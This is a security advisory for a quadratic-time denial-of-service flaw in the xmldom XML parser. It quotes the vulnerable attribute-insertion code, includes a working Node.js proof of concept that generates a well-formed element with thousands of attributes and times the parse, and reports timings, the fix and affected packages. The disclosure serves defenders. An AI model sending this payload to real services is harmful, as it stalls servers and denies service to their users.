CVE-2026-83613

Updated on 01 Sep 2026

Severity

8.7 High severity

Details

CVSS score
8.7
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Overview

About vulnerability

Summary

xmldom builds the attribute collection of every parsed element by inserting attributes one at a time into a DOM NamedNodeMap. Each insertion first performs a linear scan of all already-inserted attributes to enforce the DOM uniqueness rule (no two attributes with the same qualified name / namespace+local-name). Parsing an element that carries M distinct attributes therefore costs 1 + 2 + … + M = O(M²) comparisons.

Because the trigger is simply “one element with many attributes”, the attack payload is a fully well-formed XML document. No malformed markup, no error recovery, and no non-default parser options are involved — parsing completes silently with zero warning/error/fatalError events. An attacker who can submit a modest, highly compressible document (a single element with tens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU per request, enabling an unauthenticated denial of service.

This is distinct from the known quadratic-memory namespace-map issue: it burns CPU and it does not require any namespace declarations or nesting.

Details

The DOM content handler adds each attribute of a starting element by calling el.setAttributeNode(attr) in a loop:

// DOMHandler.startElement
for (var i = 0; i < len; i++) {
var namespaceURI = attrs.getURI(i);
var value = attrs.getValue(i);
var qName = attrs.getQName(i);
var attr = doc.createAttributeNS(namespaceURI, qName);
attr.value = attr.nodeValue = value;
el.setAttributeNode(attr);          // O(existing attrs) each — see below
}

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387

setAttributeNode delegates to NamedNodeMap.setNamedItem, which calls getNamedItemNS to look for an existing attribute with the same namespace URI and local name before appending:

setNamedItem: function (attr) {
var el = attr.ownerElement;
if (el && el !== this._ownerElement) {
throw new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);
}
var oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan
if (oldAttr === attr) {
return attr;
}
_addNamedNode(this._ownerElement, this, attr, oldAttr);
return oldAttr;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623

getNamedItemNS walks the whole list on every call:

getNamedItemNS: function (namespaceURI, localName) {
if (!namespaceURI) {
namespaceURI = null;
}
var i = 0;
while (i < this.length) {
var node = this[i];
if (node.localName === localName && node.namespaceURI === namespaceURI) {
return node;
}
i++;
}
return null;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715

For the i-th attribute the scan visits i-1 entries, so inserting M distinct attributes performs Θ(M²) comparisons. There is no hash index or set keyed by name; the map is a plain array-backed structure.

The same structure exists on 0.8.x. There setNamedItem dedups via getNamedItem(attr.nodeName) instead of getNamedItemNS, but that method is likewise a full linear scan, so the complexity is identical:

The linear-scan NamedNodeMap predates the @xmldom/xmldom fork and is present unchanged in the unscoped xmldom package back to its earliest published release. In [email protected], parsing already inserts each attribute one at a time (DOMHandler.startElement loops calling setAttributeNS → setAttributeNode → NamedNodeMap.setNamedItem), and setNamedItem dedups by calling getNamedItemNS, which is a full linear while (i--) scan of the already-inserted attributes — the identical O(M²) structure. The whole unscoped line (0.1.0 … 0.6.0) is therefore affected; the earliest published tag (0.1.0) was verified to contain the per-insert linear dedup scan.

Proof of Concept

A single well-formed element with M distinct attributes. No malformed markup and no options:

'use strict';
var DOMParser = require('@xmldom/xmldom').DOMParser;

function buildDoc(m) {
var parts = new Array(m);
for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"';
return '<r ' + parts.join(' ') + '/>';   // <r a0="x" a1="x" ... a{M-1}="x"/>
}

for (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i < sizes.length; _i++) {
var m = sizes[_i];
var xml = buildDoc(m);
var t0 = process.hrtime.bigint();
var doc = new DOMParser().parseFromString(xml, 'text/xml');  // silent: no error events
var ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' +
doc.documentElement.attributes.length);
}

Measured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the scaling is the load-bearing fact):

@xmldom/xmldom 0.9.10:

M (attributes) input bytes time (ms) ratio vs prev
2000 18,894 13.4 —
4000 38,894 38.7 ×2.9
8000 78,894 100.8 ×2.6
16000 164,894 406.2 ×4.0
32000 340,894 2149.5 ×5.3

@xmldom/xmldom 0.8.13:

M (attributes) input bytes time (ms)
2000 18,894 10.6
4000 38,894 19.9
8000 78,894 75.9
16000 164,894 657.7
32000 340,894 1643.2

xmldom (unscoped) 0.6.0: 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).

Time grows ≈ ×4 per doubling of M — quadratic. About 340 KB of well-formed input costs ~1.6–2.1 s of single-threaded CPU, and it keeps scaling: doubling the attribute count quadruples the cost. The document is trivially generated and compresses to a few kilobytes on the wire.

Impact

Unauthenticated, remotely triggerable denial of service against any service that parses attacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds; a handful of concurrent requests can saturate CPU and stall the process. Because the payload is a plain well-formed document (one element, many attributes), it passes any “must be well-formed” gate and reaches the parser before any application-level validation (e.g. schema checks or signature verification) can run. The payload is highly compressible, so it is effective over compressed transports.

Fix Applied

Replaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed index, so de-duplicating an element’s attributes during parse is O(M) instead of O(M²) — a well-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute order and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking and independent of requireWellFormed; ships on both maintained versions.

Details

Affected product:
@bacons/xcode , @expo/build-tools , @ledgerhq/lumen-ui-rnative , Node.js , React , adal-node , allure-codeceptjs , allure-js , babel-preset-expo , better-auth , better-auth-core , better-auth-drizzle-adapter , better-auth-kysely-adapter , better-auth-memory-adapter , better-auth-mongo-adapter , better-auth-prisma-adapter , better-auth-sso , better-auth-telemetry , blockchain-link-utils , canvg , clerk-clerk-expo , clerk-expo , clerk-expo-biometrics , clerk-expo-google-signin , clerk-expo-native-components , clerk-expo-passkeys , codeceptjs , config-plugins , configure , cordova-node-xcode , create-expo-module , create-rock , db , diegomura-react-pdf , eas-cli , ember-cli , eslint-config-expo , eslint-config-universe , expo , expo-ads-admob , expo-ads-facebook , expo-app-auth , expo-app-integrity , expo-app-intents , expo-app-loading , expo-apple-authentication , expo-application , expo-asset , expo-audio , expo-auth-session , expo-av , expo-background-fetch , expo-background-task , expo-barcode-scanner , expo-battery , expo-blur , expo-branch , expo-brightness , expo-build-properties , expo-calendar , expo-camera , expo-clipboard , expo-config , expo-configure-splash-screen , expo-constants , expo-contacts , expo-crypto , expo-dev-client , expo-dev-client-components , expo-dev-launcher , expo-dev-menu , expo-dev-menu-interface , expo-dev-server , expo-dev-tools , expo-device , expo-document-picker , expo-electron-adapter , expo-env-info , expo-error-recovery , expo-expo-cli , expo-file-system , expo-firebase-analytics , expo-firebase-core , expo-firebase-recaptcha , expo-font , expo-gl , expo-glass-effect , expo-google-app-auth , expo-haptics , expo-hinge , expo-image , expo-image-loader , expo-image-picker , expo-image-utils , expo-insights , expo-intent-launcher , expo-keep-awake , expo-linear-gradient , expo-linking , expo-local-authentication , expo-local-build-cache-provider , expo-localization , expo-location , expo-log-box-utils , expo-mail-composer , expo-manifests , expo-maps , expo-media-library , expo-mesh-gradient , expo-metro-config , expo-module-scripts , expo-modules-autolinking , expo-modules-cli , expo-modules-core , expo-modules-jsi , expo-modules-test-core , expo-navigation-bar , expo-network , expo-network-addons , expo-next-adapter , expo-notifications , expo-optimize , expo-payments-stripe , expo-permissions , expo-plist , expo-prebuild-config , expo-print , expo-processing , expo-pwa , expo-random , expo-router , expo-router-server , expo-schemer , expo-screen-capture , expo-screen-orientation , expo-secure-store , expo-sensors , expo-sharing , expo-sms , expo-speech , expo-splash-screen , expo-sqlite , expo-standard-web-crypto , expo-status-bar , expo-store-review , expo-symbols , expo-system-ui , expo-task-manager , expo-template-bare-minimum , expo-template-blank , expo-template-blank-typescript , expo-template-default , expo-template-tabs , expo-tracking-transparency , expo-updates , expo-updates-interface , expo-vector-icons , expo-video , expo-video-thumbnails , expo-web-browser , expo-webpack-config , expo-widgets , expo-xdl , expo-yarn-workspaces , gatsby-transformer-sqip , hiero-sdk-js , install-expo-modules , jest-expo , jest-expo-enzyme , jspdf , ledger-live , ledgerhq-coin-algorand , ledgerhq-coin-aptos , ledgerhq-coin-canton , ledgerhq-coin-concordium , ledgerhq-coin-cosmos , ledgerhq-coin-near , ledgerhq-coin-polkadot , ledgerhq-crypto-icons , ledgerhq-domain-service , ledgerhq-hw-app-near , ledgerhq-hw-transport , ledgerhq-hw-transport-mocker , ledgerhq-hw-transport-node-hid-noevents , ledgerhq-hw-transport-node-speculos , ledgerhq-hw-transport-web-ble , ledgerhq-hw-transport-webusb , ledgerhq-live-common , ledgerhq-native-ui , lit-labs-cli , lit/lit , livestore , livestore-webmesh , loaders.gl , loaders.gl-arrow , loaders.gl-bson , loaders.gl-csv , loaders.gl-excel , loaders.gl-flatgeobuf , loaders.gl-geoarrow , loaders.gl-geopackage , loaders.gl-geotiff , loaders.gl-graphs , loaders.gl-i3s , loaders.gl-json , loaders.gl-kml , loaders.gl-las , loaders.gl-lerc , loaders.gl-mlt , loaders.gl-netcdf , loaders.gl-obj , loaders.gl-parquet , loaders.gl-pcd , loaders.gl-ply , loaders.gl-pmtiles , loaders.gl-polyfills , loaders.gl-potree , loaders.gl-schema-utils , loaders.gl-shapefile , loaders.gl-splats , loaders.gl-textures , loaders.gl-tile-converter , loaders.gl-traces , loaders.gl-wkt , loaders.gl-wms , magic-js , mammoth , markdown-it-mathjax3 , mathjax-full , microsoft-365-agents-toolkit , mpd-parser , nx , nx-angular , nx-cypress , nx-devkit , nx-jest , nx-js , nx-module-federation , nx-vite , nx-web , nx-workspace , office-addin-debugging , office-addin-dev-settings , office-addin-scripts , officeparser , onflow-fcl-react-native , onnxruntime-common , patch-project , plist , rock , rock-js-platform-apple-helpers , rock-js-plugin-brownfield-ios , rock-js-plugin-expo-config-plugins , rock-js-provider-github , samlify , simple-plist , soap , solana-wallet-adapter-base-ui , speech-rule-engine , sqip , tanstack-browser-db-sqlite-persistence , tanstack-capacitor-db-sqlite-persistence , tanstack-cloudflare-durable-objects-db-sqlite-persistence , tanstack-expo-db-sqlite-persistence , tanstack-node-db-sqlite-persistence , tanstack-react-native-db-sqlite-persistence , tanstack-tauri-db-sqlite-persistence , testem , trezor-blockchain-link-types , trezor-connect-web , trezor-suite , unimodules-permissions-interface , unimodules-sensors-interface , unimodules-task-manager-interface , video.js , videojs-http-streaming , wallet-adapter , xdl , xml-crypto , xml-encryption , xmldom , xmldom-xmldom
Affected packages:
xmldom @ 0.1.31 (+8279 more)

Fixes